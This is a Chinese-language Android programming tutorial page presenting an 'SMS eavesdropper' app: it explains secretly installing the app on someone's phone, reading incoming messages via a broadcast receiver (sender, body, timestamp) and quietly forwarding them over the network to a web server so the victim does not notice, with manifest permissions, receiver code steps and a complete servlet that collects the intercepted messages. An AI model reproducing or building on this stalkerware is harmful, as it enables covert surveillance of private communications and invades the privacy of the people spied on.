歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux編程 >> Linux編程

Android入門:廣播接收者應用(短信竊聽器)

一、短信竊聽器原理介紹

短信竊聽器的目的是竊聽某人發送的短信,比如我們在A的手機中安裝了此應用想要看B發送給A的短信;

而怎麼樣才能夠獲得短信息呢?如果通過短信方式發送給第三方,則會被看出來,因此我們可以通過網絡將消息發送給web服務器;

Android手機中的Messaging應用也只是一個普通的應用;

二、核心代碼

短信竊聽器客戶端核心代碼

在AndroidManifest.xml中添加權限:

  1. <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信權限 -->  
  2. <uses-permission android:name="android.permission.INTERNET"/><!-- 網絡訪問權限 -->  

(1)Object[] pdus = (Object[])intent.getExtras().get("pdus");獲得短信數據

(2)byte[] pdu = (byte[])pdus[0];

(3)SmsMessage message  = SmsMessage.createFromPdu(pdu);將字節數組封裝為SmsMessage

(4)String content = message.getMessageBody();獲得短信內容

(5)String date = new Date(message.getTimestampMillis()).toLocaleString();獲得短信時間

(6)String senderNumber = message.getOriginatingAddress();獲得發送方號碼

服務器端代碼只是接收參數並顯示;

三、短信竊聽器具體代碼

服務器端代碼

  1. package org.xiazdong.servlet;  
  2.   
  3. import java.io.IOException;  
  4. import javax.servlet.ServletException;  
  5. import javax.servlet.annotation.WebServlet;  
  6. import javax.servlet.http.HttpServlet;  
  7. import javax.servlet.http.HttpServletRequest;  
  8. import javax.servlet.http.HttpServletResponse;  
  9.   
  10. @WebServlet("/SMSServlet")  
  11. public class SMSServlet extends HttpServlet {  
  12.     protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {  
  13.         doPost(request, response);  
  14.     }  
  15.     protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {  
  16.         request.setCharacterEncoding("utf-8");  
  17.         String sender = request.getParameter("sender");  
  18.         String body = request.getParameter("body");  
  19.         String time = request.getParameter("time");  
  20.         System.out.println("發送方:"+sender);  
  21.         System.out.println("發送內容:"+body);  
  22.         System.out.println("發送時間:"+time);  
  23.     }  
  24. }  
Copyright © Linux教程網 All Rights Reserved